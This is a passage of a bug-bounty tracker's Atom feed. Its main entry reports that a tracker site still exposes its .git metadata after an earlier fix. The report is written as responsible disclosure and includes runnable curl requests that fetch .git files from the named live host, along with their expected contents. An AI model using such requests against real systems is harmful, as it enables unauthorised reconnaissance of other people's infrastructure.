Impact: full git history of the security-reporting infrastructure (Flyspray + customizations, committer names/emails) downloadable by anyone. Exposure isolated to the tracker — /.git/HEAD returns 404 on www/admin/webmail/api.alwaysdata.com.
</p>

<p>
Discipline: PoC stopped at metadata files (HEAD/config/logs/refs). No git objects downloaded, no exfiltration.
</p>

<p>
Note: <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> (ProxyPass SSRF regression) was previously accepted as a new report; filing this regression the same way.<br />
</p>
</div>
    </content>
    <author><name>Aabideen</name></author>
    <id>https://security.alwaysdata.com/:544</id>
  </entry>
    <entry>
    <title>FS#543: Regression of FS#532: .git directory of security.alwaysdata.com still publicly accessible (unauthent</title>
    <link href="https://security.alwaysdata.com/task/543" />    
    <updated>2026-11-05T08:24:43Z</updated>    
    <published>2026-11-03T18:27:51Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary<br />The Flyspray tracker at <a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> still serves its<br />.git directory to unauthenticated visitors. This is a regression / incomplete<br />fix of <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> (&quot;Exposed .git repository&quot;, Closed 23.10.2026, previously rated<br />High by your team). Eleven days after that task was closed, the same exposure<br />was still live on 2026-11-03, and re-verified live on 2026-11-04.
</p>

<p>
## Affected host<br /><a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> (the official bug-bounty report tracker)
</p>

<p>
## Severity suggestion<br />Low to Medium, at triage&#039;s discretion. We deliberately do NOT claim High on<br />the evidence below alone. High would only apply if your server-side check<br />confirms that .git objects / source files are also served, which we did not<br />test (see Honest caveats).<br />- CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor),
</p>
<pre class="code">also related CWE-538 (Insertion of Sensitive Information into an
Externally-Accessible File or Directory).</pre>

<p>
- CVSS 3.1 for the verified metadata disclosure alone:
</p>
<pre class="code">AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3</pre>

<p>
 ## Impact (verified)<br />An unauthenticated visitor can read deployment metadata of the tracker that<br />should not be public: the deployed branch (master), the upstream remote<br />(github.com/flyspray/flyspray.git), and the exact deployed commit hash.<br />Measured impact: 3 metadata files confirmed served unauthenticated,<br />2 negative controls returned 404, 0 bytes of source downloaded,<br />0 other users&#039; data touched.
</p>

<p>
## Reproduction steps (numbered, no authentication needed)<br />1. Run: curl -s <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a>
</p>
<pre class="code"> Expected: HTTP 200, body &quot;ref: refs/heads/master&quot; (23 bytes).</pre>

<p>
2. Run: curl -s <a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a>
</p>
<pre class="code"> Expected: HTTP 200, a valid git config naming remote origin
 https://github.com/flyspray/flyspray.git and branch master.</pre>

<p>
3. Run: curl -s <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a>
</p>
<pre class="code"> Expected: HTTP 200, body &quot;a1ffafd65d5662d69e8b0334315b857449e3ea38&quot; (41 bytes).</pre>

<p>
4. Negative control: curl -s -o /dev/null -w &quot;%{http_code}\n&quot; <a href="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345" class="urlextern" title="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345"  rel="nofollow">https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345</a>
</p>
<pre class="code"> Expected: HTTP 404. This rules out a generic 200 handler: the .git files
 above are genuinely served.</pre>

<p>
 ## PoC (complete, copy-paste runnable, no auth, no retry)<br />```<br />curl -s <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a> curl -s <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a> curl -s -o /dev/null -w &quot;%{http_code}\n&quot; <a href="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345" class="urlextern" title="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345"  rel="nofollow">https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345</a> ```
</p>

<p>
## Evidence timeline<br />- First observed: 2026-11-03 ~22:40-22:42 WIB (15:40-15:42 UTC), single
</p>
<pre class="code">attempts, retry OFF.</pre>

<p>
- Re-verified live before submission: 2026-11-04 ~01:14 WIB
</p>
<pre class="code">(2026-11-03 18:14 UTC): HEAD 200 (23 bytes, same content), config 200,
refs/heads/master 200 (41 bytes, same commit hash), control path 404.</pre>

<p>
 ## Why this is not by design<br /><del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> itself proves your team treats an exposed .git on this tracker as a<br />flaw to be fixed, not intended behaviour. Your tracker also has precedent<br />for accepting incomplete-fix / regression reports as separate tasks<br />(e.g. <del>&#160;<a href="https://security.alwaysdata.com/task/533?feed_type=atom" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#533</a>&#160;</del> as an incomplete fix of <del>&#160;<a href="https://security.alwaysdata.com/task/481?feed_type=atom" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#481</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> as a regression of<br /><del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del>/504/520). This report follows that same pattern: Closed 23.10, still<br />live 03.11, therefore the fix was not effective.
</p>

<p>
## Honest caveats (please read before triage)<br />1. Duplicate risk, stated openly: you may close this as a duplicate or
</p>
<pre class="code"> informative follow-up of FS#532. Our differentiator is only that FS#532
 is Closed while the exposure is still live, i.e. an ineffective fix /
 regression, not a new first report of the same issue.</pre>

<p>
2. .git objects / full source NOT tested: we deliberately stopped at
</p>
<pre class="code"> metadata (HEAD, config, refs). We did not enumerate or download objects,
 logs, or source, in line with your rule against over-exploitation and
 accessing internal data further than needed. If objects are also served,
 the impact is larger (full tracker source plus local modifications), but
 that is UNTESTED and we do not claim it. You can verify server-side.</pre>

<p>
3. Testing method: manual curl at low rate only. No automated scanner, no
</p>
<pre class="code"> DoS, no brute force, no access to any other user&#039;s account, task, or
 attachment.</pre>

<p>
 ## Suggested fix<br />Block public access to the .git directory on the tracker virtual host<br />(e.g. deny all requests under /.git/), and verify the deployed fix from an<br />unauthenticated request, since the previous fix for <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> did not hold.
</p>

<p>
## Reporter<br />Name: Izka. Contact email: izkalavender@gmail.com. Payout details: to be provided upon acceptance.<br />Note: we understand reports on this tracker become public after processing,<br />and we accept that for this submission.<br />
</p>
</div>
    </content>
    <author><name>Izka</name></author>
    <id>https://security.alwaysdata.com/:543</id>
  </entry>
  </feed>
